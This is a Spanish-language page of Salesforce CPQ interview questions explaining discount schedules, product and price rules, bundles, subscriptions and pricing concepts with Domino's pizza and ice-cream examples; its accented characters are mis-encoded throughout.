Domino's est谩 realizando una promoci贸n especial en pizzas "Veggie Delight", y estas no son elegibles para m谩s descuentos. El campo "No descontable" se marcar铆a para este producto en Salesforce CPQ, evitando cualquier descuento manual adicional en este art铆culo, independientemente del tama帽o del pedido.

驴C贸mo agregar valores de Unidad y Total a la lista de selecci贸n?

Nos dirigimos al objeto L铆nea de Cotizaci贸n y creamos un nuevo campo de tipo lista de selecci贸n con el nombre AdditionalDiscountUnit y los valores que se muestran a continuaci贸n.

Unidad de descuento adicional

Ahora podemos elegir valores adicionales.

monedas en cpq descuento

驴Explicar el descuento para socios y distribuidores en Salesforce CPQ?

Este m茅todo se utiliza cuando queremos darle un descuento de socio adicional al cliente. Los valores de estos descuentos se muestran en los campos Descuento de distribuidor y Precio unitario neto en el objeto L铆nea de cotizaci贸n. Se calculan mediante las siguientes f贸rmulas:

Precio para socios = Precio para clientes 鈥 Descuento para socios

Precio neto = Precio de socio 鈥 Descuento de distribuidor

驴Explicar el descuento basado en el volumen?

Domino's quiere dar un incentivo a los clientes para que pidan m谩s pizzas durante una copa mundial de cricket ofreciendo descuentos basados en el volumen.

Domino's Pizza en X: "隆El cricket es genial, pero el cricket con Domino's es a煤n mejor! Para celebrar esta temporada de cricket, te traemos nuestra oferta Cricket Fever. Disfruta de 2 pizzas medianas, 8

1. Configuraci贸n del programa de descuentos:

Editar niveles en cpq discountig

claves masivas en descuento cpq

El administrador de Domino's navega a la pesta帽a "Programaciones de descuentos" dentro de Salesforce CPQ y crea una nueva programaci贸n denominada "Especial del d铆a del juego".

鈥 Luego hacen clic en 鈥淓ditar niveles鈥 y configuran los niveles de volumen de la siguiente manera:

鈥 1-10 pizzas: 0% de descuento

鈥 11-20 pizzas: 10% de descuento

鈥 21-30 pizzas: 15% de descuento

鈥 31+ pizzas: 20% de descuento

鈥 Guardan esta estructura de niveles, que dictar谩 el descuento aplicado en funci贸n de la cantidad de pizzas solicitadas.

2. Aplicaci贸n del Programa de Descuentos a los Productos:

Luego, el administrador va a la pesta帽a "Productos" y selecciona las pizzas elegibles para esta promoci贸n, como "Cheesy Extravaganza" y "Veggie Feast".

鈥 En el campo 鈥淧rograma de descuentos鈥 de cada producto, seleccionan el programa 鈥淓special del d铆a del juego鈥 que crearon previamente.

Calendario de descuentos de Salesforce CPQ

3. Realizaci贸n de pedidos y c谩lculo de descuentos:

鈥 Un cliente hace un pedido de 25 pizzas 鈥淐heesy Extravaganza鈥 durante el fin de semana del evento de cricket.

鈥 Cuando el pedido ingresa al sistema, el comercial crea una nueva cotizaci贸n y le agrega las 25 pizzas.

鈥 Al hacer clic en 鈥淐alcular鈥 en Salesforce CPQ, el sistema reconoce autom谩ticamente que la cantidad cae en el nivel 21-30, aplicando as铆 un descuento del 15% al pedido.

鈥 El representante de ventas ve el precio regular y el precio con descuento uno al lado del otro, confirmando que el descuento por volumen se aplic贸 correctamente.

editar cotizaci贸n en descuento de salesforce cpq

4. Verificaci贸n de los detalles del descuento:

Junto a la pizza "Cheesy Extravaganza" en la cotizaci贸n, aparece un signo "$" para indicar que se aplica un programa de descuentos.

Programaci贸n de descuentos en descuentos de Salesforce CPQ

Al hacer clic en 茅l, el representante de ventas (y cualquier otro usuario con los permisos necesarios) puede ver los niveles de descuento, lo que brinda transparencia sobre c贸mo se calcul贸 el precio final.

驴Cu谩l es la estructura del programa de descuentos?

La estructura t铆pica de un programa de descuentos implica la definici贸n de niveles espec铆ficos. Cada nivel incluye el nombre del nivel, el l铆mite inferior, el l铆mite superior y el descuento (porcentaje/monto) aplicable en ese nivel.

Hay dos formas en que funciona el programa de descuentos: 鈥

  • Losa
  • Rango

1. Programa de descuentos de losa:

Domino's quiere ofrecer un descuento de Slab durante un festival local. Establecieron los siguientes niveles:

鈥 1-5 pizzas: 0% de descuento

鈥 6-10 pizzas: 5% de descuento

鈥 11+ pizzas: 10% de descuento

Utilizando el m茅todo Slab, Salesforce CPQ calcula el descuento de la siguiente manera:

Las primeras 5 pizzas obtienen un 0% de descuento.

Las siguientes 5 pizzas (pizzas 6 a 10) reciben un 5% de descuento.

Las 2 pizzas finales (pizzas 11 y 12) reciben un 10% de descuento.

Cada 鈥渓osa鈥 o nivel de pizzas se descuenta seg煤n su respectivo tramo, no seg煤n la cantidad total del pedido.

2. Programa de descuentos por rango:

Domino's decide ofrecer un descuento de gama durante un evento deportivo importante. Establecieron los siguientes niveles:

鈥 1-7 pizzas: 0% de descuento

鈥 8-14 pizzas: 7% de descuento

鈥 15+ pizzas: 15% de descuento

Utilizando el m茅todo Rango, Salesforce CPQ calcula el descuento de la siguiente manera:

鈥 El total de 10 pizzas se encuentran dentro del rango de 8 a 14.

鈥 Por tanto, las 10 pizzas reciben un 7% de descuento.

El descuento se aplica al pedido total seg煤n el rango en el que se encuentra la cantidad total.

驴Cu谩les son los pasos para configurar un programa de descuentos?

  1. Abra la aplicaci贸n Salesforce CPQ desde el iniciador de aplicaciones.
  2. Escriba "Programaci贸n de descuentos" en el cuadro de b煤squeda del iniciador de aplicaciones.
  3. Abra la pesta帽a Programaci贸n de descuentos y haga clic en "nuevo".
  4. Establecer el nombre del horario,
  5. Establezca el tipo como Rango o Losa seg煤n el requisito.
  6. Seleccione la unidad de descuento entre las opciones de Porcentaje, Monto y precio seg煤n el requisito.
  7. Para el alcance de agregaci贸n, seleccione Cotizaci贸n o Grupo seg煤n el requisito.
  8. Haga clic en 'Guardar'.

驴Cu谩les son los pasos para crear niveles de descuento y asociar el programa de descuentos con el producto?

  1. Abra el Programa de descuentos en el que queremos crear Niveles de descuentos.
  2. Haga clic en 'Editar nivel'.
  3. Establezca el nombre del nombre de primer nivel.
  4. Establezca el l铆mite inferior del primer nivel.
  5. Establezca el l铆mite superior del primer nivel.
  6. Establezca el descuento (porcentaje/importe).
  7. Haga clic en el bot贸n + para agregar un nuevo nivel y repita los pasos del 3 al 6.
  8. Repita el paso 7 seg煤n el requisito de los niveles necesarios.

9. Haga clic en Guardar.

10. Abra la pesta帽a Producto desde la barra de navegaci贸n y seleccione el producto al que queremos asociar el Programa de Descuentos.

11. Haga clic en el bot贸n 'Editar'.

12. En el campo Programaci贸n de descuentos, ingrese el nombre del programa de descuentos creado.

13. Haga clic en el bot贸n 'Guardar'

50% Me gusta VS
50% No me gusta
Seguir leyendo

Preguntas de la entrevista de Salesforce CPQ, parte 2

Preguntas de la entrevista de Salesforce CPQ, parte 2

Preguntas de la entrevista de Salesforce CPQ, parte 1

Enlace de Whatsapp para el grupo Salesforce CPQ

1. 驴Qu茅 son los filtros de b煤squeda en el editor de l铆neas de cotizaci贸n?

El filtro de b煤squeda del editor de l铆neas de cotizaci贸n se puede utilizar para filtrar productos, activos o suscripciones por sus valores de campo.

2. 驴Cu谩l es la diferencia entre la regla del producto y la regla del precio?

La estructura general de las reglas de precios y de productos es la misma:

  • Registro de reglas: que contiene propiedades generales.
  • Condiciones: ambas admiten l贸gica de condici贸n avanzada
  • Comportamiento

Reglas del producto

Las reglas de productos se utilizan para hacer cumplir la l贸gica empresarial, ayudar a automatizar los comentarios a los representantes de ventas sobre las selecciones de productos y tambi茅n aceleran el proceso de cotizaci贸n.

Hay 4 tipos de reglas de producto:

Reglas de validaci贸n: cuando no se cumplen las condiciones, se muestra un mensaje de error y los usuarios no pueden continuar hasta que se solucione la situaci贸n. Por tanto, act煤an como un freno duro .

Las reglas de alerta son una parada suave en comparaci贸n con la parada fuerte de las reglas de validaci贸n. Tambi茅n muestran un mensaje, pero es m谩s bien una sugerencia porque el usuario puede continuar sin cumplir con los requisitos comerciales especificados.

Reglas de selecci贸n : pueden agregar, eliminar, mostrar, ocultar, habilitar o deshabilitar o realizar alguna combinaci贸n de estas acciones en las opciones de productos dentro de un paquete o pueden agregar un producto a una cotizaci贸n. Esta regla puede ser una excelente manera de aprovechar la Venta Guiada para guiar a sus representantes hacia las opciones apropiadas o m谩s deseadas seleccionando autom谩ticamente los productos correctos.

Las reglas de filtrado se utilizan en paquetes para extraer opciones de productos del cat谩logo de productos mediante una regla de filtrado . A esto se le suele denominar creaci贸n de un paquete din谩mico.

Reglas de precios

Se puede considerar que las reglas de precios realizan actualizaciones de campos dentro del c谩lculo que afectar谩n el precio. puede usarlos para establecer descuentos y cantidades.

3. 驴Cu谩les son las consideraciones para los campos gemelos?

Recuerde que un campo gemelo debe tener el mismo tipo de datos y nombre de API que el campo correspondiente creado en el objeto Opci贸n de producto.

4. 驴C贸mo configurar productos de suscripci贸n en Salesforce CPQ?

Hay tres campos esenciales para configurar Productos de suscripci贸n en Salesforce CPQ.

Campo de producto Tipo de datos Descripci贸n
Precios de suscripci贸n Lista de selecci贸n El producto no se considerar谩 una suscripci贸n sin que este campo est茅 configurado en Precio fijo o Porcentaje del total.
Plazo de suscripci贸n N煤mero Este es el periodo asociado a la compra, por lo que puedes establecerlo en 12 meses si se trata de una Suscripci贸n Anual.
Tipo de suscripci贸n Lista de selecci贸n Este campo determina si el producto es renovable o 煤nico. Las Suscripciones Renovables se transfieren a Cotizaciones de Renovaci贸n. Las suscripciones 煤nicas no lo har谩n.

Para crear Productos de Suscripci贸n , cree un nuevo Registro de productos. Complete los campos: Precio de suscripci贸n , Tipo de suscripci贸n y Plazo de suscripci贸n para el producto. Tenga en cuenta que durante la creaci贸n del contrato, los Productos de Suscripci贸n se convierten en registros de Suscripci贸n.

Salesforce CPQ, Productos de suscripci贸n, Campos b谩sicos de nuevos productos: Precios de suscripci贸n; Tipo de suscripci贸n; Plazo de suscripci贸n

5. 驴Cu谩l es la diferencia entre restricciones de opciones y reglas de productos?

Las restricciones de opciones y las reglas de productos tienen diferentes casos de uso.

Las restricciones de opciones no pueden seleccionar productos autom谩ticamente. (aunque pueden anular la selecci贸n de productos cuando se aplica la dependencia). Son buenos en dos escenarios:

  • dependencia
  • exclusi贸n

Las restricciones de opciones permiten el procesamiento en tiempo real . Cada vez que el usuario selecciona o deselecciona una opci贸n, la dependencia o exclusi贸n se activa inmediatamente.

Las reglas de producto tienen m谩s funciones que la restricci贸n de opci贸n, aunque es necesario elegir un evento de evaluaci贸n para especificar cu谩ndo Salesforce CPQ debe considerar y ejecutar una regla de producto: Cargar, Editar, Guardar o Siempre.

6. 驴Explicar el paquete de productos en CPQ?

Hay tres objetos clave que definen la estructura del paquete :

  • Producto
  • Opciones
  • Caracter铆sticas

Producto

Los paquetes est谩n hechos de productos. Se puede hacer referencia a los productos en un paquete, ya sea como paquete principal o como opciones de producto. Piense en la computadora port谩til como un producto

Opciones de producto

Son como hijos que se encuentran debajo del paquete principal y son los que realmente unen el paquete porque los paquetes se crean cuando agrega Opciones a un Producto en la lista relacionada de Opciones. Las opciones de producto para computadora port谩til pueden ser mouse, teclado, cargador y software de Microsoft.

Caracter铆sticas

Son categor铆as de opciones de productos dentro de la configuraci贸n. No son obligatorios, pero se pueden utilizar para una mejor experiencia visual y tambi茅n ayudan a impulsar l贸gica adicional, como las opciones m铆nimas y m谩ximas. Las funciones son como poner opciones dentro de funciones, por ejemplo:

Software

  • Software de Microsoft

Hardware

  • Rat贸n
  • Teclado

Aqu铆 Hardware y Software son caracter铆sticas que clasifican las opciones del producto.

Hay tres tipos de paquetes :

Paquete est谩tico. Este ser铆a el paquete fijo tradicional, preempaquetado, en el que se venden ciertos productos juntos a un precio fijo, y el usuario no necesita ingresar a la configuraci贸n porque no se permiten ajustes.

Paquete configurable. Este tipo de paquete se puede configurar con ciertas restricciones para evitar configuraciones imposibles. El usuario puede seleccionar diferentes opciones para personalizar el paquete y satisfacer las necesidades del cliente.

Paquete anidado. Estos son paquetes dentro de otros paquetes. Se recomienda mantener los paquetes anidados en tres niveles de profundidad. Los paquetes anidados se crean f谩cilmente agregando el producto principal de un paquete como opci贸n a otro paquete.

Paquete virtual . Este tipo de fardo funciona como contenedor para otros productos. Para configurar un paquete principal virtual, debe estar asociado con un precio de $0,00.

Paquetes din谩micos . Estas funciones, junto con las reglas de filtrado de productos, permiten a sus representantes de ventas seleccionar productos de una lista previamente filtrada de opciones entre las que pueden elegir.

7.驴Qu茅 son las funciones de CPQ?

El objeto de caracter铆stica est谩 relacionado con productos y "se encuentra" dentro de paquetes. Un paquete puede tener varias funciones o ninguna, y una funci贸n puede tener varias opciones.

Las caracter铆sticas tienen dos prop贸sitos:

  • Ofrecen una mejor experiencia de usuario mientras navegan por las opciones de productos dentro de los paquetes.
  • Los campos en los registros de funciones nos ayudan a impulsar la l贸gica empresarial , como establecer las opciones m铆nimas y m谩ximas, evitando que el usuario seleccione muy pocas o demasiadas opciones. Si el usuario no cumple con los requisitos m铆nimos/m谩ximos e intenta guardar la configuraci贸n.

Una captura de pantalla de una computadora Descripci贸n generada autom谩ticamente

Una captura de pantalla de una lista de productos Descripci贸n generada autom谩ticamente

El campo N煤mero establece el orden de visualizaci贸n de las funciones, siendo la funci贸n con el n煤mero m谩s bajo la primera en la lista. Se recomienda utilizar incrementos de 10 al asignar n煤meros.

El campo SKU configurado se completa autom谩ticamente cuando el usuario crea una funci贸n desde la p谩gina de detalles del producto del paquete y representa el producto principal que alberga la funci贸n.

8. 驴Explica los diferentes valores del campo del m茅todo de selecci贸n de opciones en el objeto de caracter铆sticas?

El campo M茅todo de selecci贸n de opciones controla c贸mo aparecen al usuario las opciones adjuntas a esta funci贸n.

Haga clic : las opciones aparecen como una lista con casillas de verificaci贸n junto a ellas:

Una captura de pantalla de una computadora Descripci贸n generada autom谩ticamente

Una captura de pantalla de una lista de productos Descripci贸n generada autom谩ticamente

Agregar : las opciones se colapsan y en su lugar aparece un bot贸n Agregar opciones. Se debe hacer clic en el bot贸n Agregar opciones para navegar a una p谩gina separada que muestra los productos para esta funci贸n.

Una captura de pantalla de una computadora Descripci贸n generada autom谩ticamente

Una captura de pantalla de una computadora Descripci贸n generada autom谩ticamente

Din谩mico : muestra un bot贸n Agregar opciones, que muestra una lista prefiltrada de productos disponibles para su selecci贸n. Para utilizar esta funcionalidad, debe configurar una regla de producto de filtro CPQ de Salesforce para paquetes din谩micos.

Una captura de pantalla de una computadora Descripci贸n generada autom谩ticamente

Una captura de pantalla de una computadora Descripci贸n generada autom谩ticamente

9. 驴Explicar el campo del objeto de b煤squeda?

Las reglas de producto y las reglas de precio en Salesforce CPQ contienen el campo Objeto de b煤squeda. Este campo define el objeto que almacena datos que puede evaluar mediante consultas de b煤squeda para compararlos con los campos de cotizaci贸n, l铆nea de cotizaci贸n o opci贸n de producto.

10. 驴Explicar la estructura de la plantilla de cotizaci贸n?

La estructura de la plantilla de cotizaci贸n incluye:

  1. Informaci贸n de la plantilla de cotizaci贸n
  • Informaci贸n de la p谩gina
  • Informaci贸n de encabezado/pie de p谩gina
  • Informaci贸n corporativa
  • Informaci贸n de estilo
  • Informaci贸n de estilo de grupo
  • T铆tulos de secci贸n
  • Opciones de impresi贸n
  1. Listas relacionadas
  • Columnas de l铆nea
  • Secciones de plantilla
  • Documentos adicionales

Detalles de la plantilla de cotizaci贸n de muestra nueva de Salesforce CPQ

11. 驴Cu谩les son los pasos para crear plantillas de cotizaciones?

Hay cinco pasos principales a seguir al crear una plantilla de cotizaci贸n:

1. Crear la propia plantilla de cotizaci贸n

2. Almacenamiento del logotipo necesario en Documentos

3. Creando el contenido de la plantilla

4. Creando las secciones de la plantilla

5. Creando las columnas de l铆nea

12. 驴C贸mo se puede renovar la suscripci贸n con un cliente existente?

Si ya tiene una oportunidad de renovaci贸n, cuando se acerque al final del per铆odo de suscripci贸n, es posible que desee venderles las suscripciones de renovaci贸n al cliente nuevamente. Para ello, necesita una cotizaci贸n de renovaci贸n.

Se puede generar marcando la casilla de verificaci贸n Cotizaci贸n de renovaci贸n como verdadera. Esta cotizaci贸n de renovaci贸n se puede enviar, actualizar y modificar seg煤n sea necesario y luego recibirla nuevamente para que posteriormente pueda crear un contrato nuevo.

1. Primero, haga clic en la pesta帽a Cuentas en la barra de navegaci贸n.

2. Vaya a la empresa necesaria y haga clic en la pesta帽a Relacionado .

3. Acceda al enlace N煤mero de contrato en la lista relacionada Contratos y luego haga clic en Editar .

4. Marque la casilla de verificaci贸n Cotizaci贸n de renovaci贸n como verdadera, lo que le indicar谩 a CPQ que genere una cotizaci贸n sobre la oportunidad de renovaci贸n.

.

Tenga en cuenta que la cotizaci贸n de renovaci贸n tiene la Fecha de inicio un d铆a despu茅s de la Fecha de cierre de la oportunidad de renovaci贸n, mientras que la Fecha de finalizaci贸n se basa en el Plazo de renovaci贸n del contrato.

13. 驴C贸mo modificar un contrato en Salesforce CPQ?

Veamos c贸mo Salesforce CPQ puede actualizar un Contrato existente para incluir mayores cantidades de productos de suscripci贸n, prorrateados por la duraci贸n restante del Contrato y crear autom谩ticamente una Oportunidad y Cotizaci贸n de enmienda:

Cree una cotizaci贸n de modificaci贸n y una oportunidad para aumentar la cantidad de un producto de suscripci贸n de 1 a 10, a partir de los 3 meses del contrato.

Navegue hasta esa cuenta y vaya al enlace N煤mero de contrato en la lista relacionada Contratos. Luego, haga clic en Modificar y nuevamente en Modificar .

14. 驴C贸mo funciona el grupo de restricci贸n de opciones en Salesforce CPQ?

Esta caracter铆stica resulta 煤til cuando desea hacer que las opciones sean obligatorias o excluidas en funci贸n de combinaciones de otras opciones.

Veamos un ejemplo en el que desea evitar que los representantes de ventas vendan el Producto A a menos que el Producto B se haya incluido en la cotizaci贸n:

A. Haga clic en la pesta帽a Productos en la barra de navegaci贸n.

C. Vaya a la pesta帽a Relacionados .

D. En la lista relacionada Opciones , seleccione Ver todo y anote el n煤mero del Nombre de la opci贸n para las opciones necesarias:

  • Producto A.
  • Producto B.

E. Haga clic en Nuevo en la lista relacionada Restricciones de opciones y complete los siguientes campos:

  • Para el campo Nombre de restricci贸n , ingrese: El producto A requiere el producto B
  • Para el campo Opci贸n restringida , ingrese: < PO-###### del Producto A >  
  • Para el campo Opci贸n de restricci贸n , ingrese: < PO-###### del Producto B >
  • Para el campo Grupo de restricciones de opci贸n , ingrese: Puede ingresar aqu铆 cualquier cadena de texto, pero es una buena pr谩ctica hacerla descriptiva y f谩cil de entender y recordar.

F. Haga clic en Guardar .

16. Tiene un escenario en el que el representante de ventas debe vender un paquete en el que hay al menos tantos Productos B como Productos A. 驴C贸mo configurar para este escenario?

Paso 1: Cree una variable de resumen para determinar la cantidad agregada del Producto A en la configuraci贸n.

Paso 2: Cree una variable de resumen para determinar la cantidad agregada del Producto B en una configuraci贸n.

Paso 3: Cree una regla de producto que confirme c贸mo funcionar谩 la regla de validaci贸n durante la configuraci贸n del producto.

Paso 4: Cree una condici贸n de error que controle cu谩ndo se activa la regla, es decir, solo cuando la variable de resumen del producto B es menor que la variable de resumen del producto A.

Paso 5: Cree una regla de configuraci贸n para mostrar que la regla de validaci贸n se aplicar谩 al paquete de productos.

Paso 6: compruebe si la regla se comporta como se esperaba.

17. 驴C贸mo utilizar las restricciones de opciones?

Hay muchos escenarios en los que sus representantes de ventas deben habilitar o deshabilitar un producto en un paquete en funci贸n de otra opci贸n de producto.

Los escenarios incluyen:

  1. A. El Producto A pasa a estar DISPONIBLE si se selecciona el Producto B.
  2. B. El Producto A NO EST脕 DISPONIBLE si se selecciona el Producto B.

Esto se puede lograr creando restricciones de opciones a partir de la lista relacionada Restricciones de opciones en el registro de producto principal del paquete.

Cree una restricci贸n de opci贸n para que el Producto A pueda seleccionarse solo cuando se seleccione el Producto B:

18. 驴Explique un caso de uso de precios contratados?

Escenario: el representante de ventas ha negociado con un cliente un precio especial para ciertos productos: $375,00 por una computadora port谩til en lugar de $450,00

Utilice la herramienta Precios contratados, que permite crear registros relacionados con cuentas para excepciones de precios.

Primero, creemos un precio contratado para un 煤nico producto espec铆fico para una cuenta seleccionada. Haga clic en la pesta帽a Cuentas , haga clic en la cuenta seleccionada , vaya a la pesta帽a Relacionados y en la lista relacionada Precios contratados , haga clic en Nuevo:

鈻篜roducto: Computadora port谩til
鈻篜recio: 475
鈻篐aga clic en Guardar.

Tenga en cuenta que los Precios Contratados pueden estar limitados en el tiempo: puede establecer una Fecha de Vigencia y/o una Fecha de Vencimiento.

19. 驴Explicar el evento de evaluaci贸n en la regla del producto?

Evento de evaluaci贸n : especifica cu谩ndo se debe evaluar la regla:

Cargar: La regla se evaluar谩 cuando se abra el paquete de productos.

Editar: la regla se evaluar谩 cuando se edite el paquete de productos.

Guardar: la regla se evaluar谩 al guardar.

Siempre: La regla ser谩 evaluada durante cualquier evento.

Ahora, supongamos que tiene un campo en el Objeto de producto que tambi茅n desea ver en la L铆nea de cotizaci贸n. Cree un campo con el mismo nombre de API y del mismo tipo.

20. 驴Qu茅 es la venta guiada de Salesforce?

La venta guiada implementada en CPQ es una herramienta que formula preguntas sobre las necesidades del cliente en funci贸n de la selecci贸n de productos disponibles. Se hace creando un mensaje que pregunta a los representantes de ventas sobre los tipos de productos que desean agregar a la cotizaci贸n y sus especificaciones.

21. 驴Qu茅 es el precio por bloque de Salesforce?

Los precios en bloque le permiten fijar el precio de un producto en funci贸n de diferentes rangos de cantidades que se denominan precios en bloque.

  • El precio en bloque es un precio basado en niveles. El precio basado en niveles significa que el precio del producto depende de la cantidad que compra el cliente.
  • El precio tambi茅n se basa en el rango de cantidad y no en el producto individual.

22. 驴Cu谩les son los pasos para implementar un paquete din谩mico?

Los paquetes din谩micos permiten a los representantes de ventas elegir sus propias opciones en un paquete. Puede utilizar reglas de filtrado para filtrar las opciones entre las que pueden elegir.

Para implementar un paquete din谩mico, estos son los pasos de implementaci贸n que debe seguir:

鈻篊rear una caracter铆stica
鈻篊rear una regla de producto
鈻篊rear una acci贸n
鈻篊rear una regla de configuraci贸n

23. 驴Cu谩ndo utilizar reglas de producto frente a restricciones de opciones?

Cu谩ndo utilizar restricciones de opciones

Si tiene menos opciones y puede ajustar todas las opciones de producto en la categor铆a/pesta帽a sin tener que desplazarse mucho, entonces puede ser mejor optar por restricciones de opciones. Estos no pueden ocultar las Opciones del producto por completo, pero pueden habilitar/deshabilitar las Opciones del producto mediante otras selecciones.

24. 驴Cu谩ndo utilizar las reglas del producto?

Este enfoque es especialmente 煤til en configuraciones m谩s grandes que se muestran en categor铆as (pesta帽as), donde cada categor铆a puede requerir un desplazamiento extenso para mostrar todas las opciones.

Diferencias Restricciones de opciones Reglas de selecci贸n de productos
Acciones admitidas Habilitar deshabilitar Agregar, habilitar, deshabilitar, eliminar, habilitar y agregar, deshabilitar y eliminar, ocultar, mostrar, ocultar y eliminar, mostrar y agregar
Condiciones La restricci贸n de opci贸n tiene una condici贸n simple: si se selecciona la opci贸n X Las reglas de producto pueden tener m煤ltiples condiciones que eval煤an informaci贸n fuera del contexto del paquete, es decir, campos de nivel de cotizaci贸n/oportunidad/cuenta.
Alcance La restricci贸n de opciones se limita a una sola opci贸n. Las reglas del producto pueden actuar sobre m煤ltiples opciones
Contexto Se utiliza s贸lo en el contexto de paquetes. Funciona en las opciones dentro del mismo paquete. Es espec铆fico de un solo paquete. Se utiliza en el contexto de paquetes y productos independientes. Se puede aplicar una regla de producto 煤nico a paquetes ilimitados.
Resultado No se puede seleccionar/deseleccionar autom谩ticamente un producto Puede seleccionar/deseleccionar autom谩ticamente un producto

25. 驴Cu谩ndo se ejecutan las Reglas de Producto durante el proceso de cotizaci贸n?

Las reglas del producto se ejecutan en la p谩gina de configuraci贸n del producto o en el editor de l铆neas de cotizaci贸n. Esto se decide en funci贸n de los siguientes campos de reglas de producto:

a. ALCANCE 鈥 (Valores: Producto/Cotizaci贸n ): el campo Alcance en el registro de regla del producto le indica a CPQ D脫NDE debe ejecutarse la regla. Un alcance de "Producto" significa que la regla se ejecutar谩 durante la configuraci贸n del producto, y un alcance de "Cotizaci贸n" har谩 que se ejecute en el Editor de l铆neas de cotizaci贸n.

b. EVENTO DE EVALUACI脫N 鈥 (Valores: Cargar/Editar/Guardar/Siempre ): el campo Evento de evaluaci贸n en el registro de regla del producto le indica a CPQ CU脕NDO debe ejecutarse la regla.

26. Explique la descripci贸n general del ciclo de vida de Salesforce CPQ.

Generaci贸n de leads: el ciclo de vida de CPQ comienza con la generaci贸n de leads, donde los clientes potenciales muestran inter茅s en tus productos o servicios.

Creaci贸n de oportunidades: una vez que se identifica un cliente potencial, se convierte en una oportunidad en Salesforce. Esta etapa implica recopilar informaci贸n del cliente y evaluar sus necesidades.

Configuraci贸n del producto: en esta etapa, el equipo de ventas utiliza Salesforce CPQ para configurar productos o servicios de acuerdo con los requisitos del cliente. CPQ permite configuraciones complejas de productos, opciones de agrupaci贸n y personalizaci贸n.

Precios y descuentos: Salesforce CPQ permite al equipo de ventas aplicar precios y descuentos adecuados seg煤n los requisitos espec铆ficos del cliente, precios basados en el volumen o acuerdos contractuales. Esta etapa garantiza precios precisos y maximiza el potencial de ingresos.

Generaci贸n de cotizaciones: una vez determinados la configuraci贸n del producto y el precio, Salesforce CPQ genera una cotizaci贸n profesional adaptada a las necesidades del cliente. La cotizaci贸n incluye informaci贸n detallada sobre los productos o servicios, precios y t茅rminos.

Aprobaci贸n y negociaci贸n de la cotizaci贸n: la cotizaci贸n generada pasa por un proceso de aprobaci贸n, donde las partes interesadas correspondientes la revisan y brindan su consentimiento. Esta etapa puede implicar negociaci贸n con el cliente para finalizar los detalles de la cotizaci贸n.

Aceptaci贸n de cotizaci贸n: una vez que el cliente acepta la cotizaci贸n, avanza a la siguiente etapa del ciclo de vida de CPQ.

Creaci贸n de pedidos: la cotizaci贸n aceptada se convierte en un pedido, lo que desencadena el proceso de cumplimiento, incluida la gesti贸n de inventario, el procesamiento de pedidos y el env铆o.

Gesti贸n de contratos: Salesforce CPQ proporciona capacidades de gesti贸n de contratos, lo que permite al equipo de ventas generar y gestionar contratos basados en la cotizaci贸n aceptada. Esta etapa garantiza el cumplimiento legal y agiliza la gesti贸n del ciclo de vida del contrato.

Reconocimiento de ingresos: Salesforce CPQ se integra con sistemas de facturaci贸n y procesos financieros para facilitar el reconocimiento preciso de ingresos. Esto implica rastrear e informar los ingresos en funci贸n de los productos o servicios entregados.

Renovaci贸n y ventas adicionales: a medida que los contratos se acercan a su vencimiento, Salesforce CPQ ayuda a gestionar las oportunidades de renovaci贸n. El sistema puede identificar oportunidades de ventas adicionales o cruzadas y guiar al equipo de ventas para maximizar el valor para el cliente.

Informes y an谩lisis: a lo largo del ciclo de vida de CPQ, Salesforce CPQ proporciona capacidades de informes y an谩lisis para monitorear m茅tricas clave, rastrear el desempe帽o de ventas, identificar tendencias y tomar decisiones basadas en datos.

27. 驴Explicar los atributos de configuraci贸n?

En Salesforce CPQ, esta funcionalidad se puede lograr principalmente creando un registro del objeto de atributo de configuraci贸n .

Atributo de configuraci贸n

Hay 2 tipos de Atributos de Configuraci贸n que podemos crear en Salesforce CPQ.

  1. Atributo de configuraci贸n
  2. Atributo global
  • Cuando queramos crear y asignar cualquier atributo al producto del paquete , crearemos un registro de Atributo de configuraci贸n que tenga el tipo de registro "Atributo de configuraci贸n" .
  • Cuando queramos crear y asignar cualquier atributo a un producto de opci贸n , crearemos un atributo de configuraci贸n de registro que tenga el tipo de registro "Atributo global" .

28. 驴Qu茅 es el precio excedente en Salesforce CPQ?

Imagina que tienes un plan de telefon铆a m贸vil que incluye hasta 10 GB de datos por 30 d贸lares al mes. Esto es mucho, pero 驴qu茅 pasa si usas m谩s de 10 GB en un mes? Ah铆 es donde entran en juego las tasas excedentes.

La compa帽铆a telef贸nica ofrece una tarifa excedente de $2 por GB adicional de datos utilizados m谩s all谩 de los 10 GB iniciales. Esto significa que si usas 11 GB en un mes, pagar谩s la tarifa base de $30 por los primeros 10 GB, m谩s una tarifa excedente de $2 por los GB adicionales, por un total de $32.

As铆 es como se descompone:

鈥 Si usas 10 GB o menos, solo pagas tus $30 habituales, sin cargos adicionales.

鈥 Si usas 11 GB, pagas $30 por los primeros 10 GB, luego $2 adicionales por el 11.掳 GB, para un total de $32.

鈥 Si usas 12 GB, pagas $30 por los primeros 10 GB, luego $4 adicionales por los GB 11 y 12, por un total de $34.

鈥 as铆 sucesivamente, sumando $2 por cada GB que uses por encima de los 10GB.

Este sistema hace que la facturaci贸n sea m谩s clara y sencilla. Usted sabe exactamente cu谩nto se le cobrar谩 si excede su l铆mite de datos y la compa帽铆a telef贸nica puede calcular f谩cilmente los cargos seg煤n el uso real.

Para utilizar tarifas excedentes, debemos crear un campo personalizado especial en el objeto Precio de bloque. Este es un paso 煤nico para cualquier organizaci贸n que utilice Salesforce CPQ.

29. 驴Explique la ca铆da de precios en CPQ con la ayuda de un ejemplo?

Imagina que est谩s en "Sundae Funday", una helader铆a conocida por sus aderezos y sabores especiales. Decides comprar un cono de triple bola con tus sabores favoritos y as铆 es como cambia el precio:

1. Precio original: Este es el costo b谩sico en el que incurre 鈥淪undae Funday鈥 para hacer un cono de helado, incluyendo el helado, el cono, los aderezos y los costos operativos. Digamos que son $3.00. Esto no incluye ganancias ni costos adicionales; es simplemente cu谩nto le cuesta a la tienda hacer ese delicioso cono.

2. Precio de lista: ahora, el taller agrega su margen de beneficio, considerando factores como los gastos generales, los salarios del personal y el margen de beneficio. Este es el precio que ves en el men煤 cuando entras. Entonces, tu cono de triple cucharada aparece en $5.00. Ese es el precio est谩ndar para cualquier cliente en un d铆a normal.

3. Precio especial: 驴Adivina qu茅? Visitas la tienda un 鈥渕artes tropical鈥 y todos los conos con sabor tropical tienen un 20% de descuento. Como elegiste mango como una de tus bolas, tu cono ahora tiene un 鈥減recio especial鈥 de $4.00. Este precio es espec铆fico para esta promoci贸n o segmento de clientes.

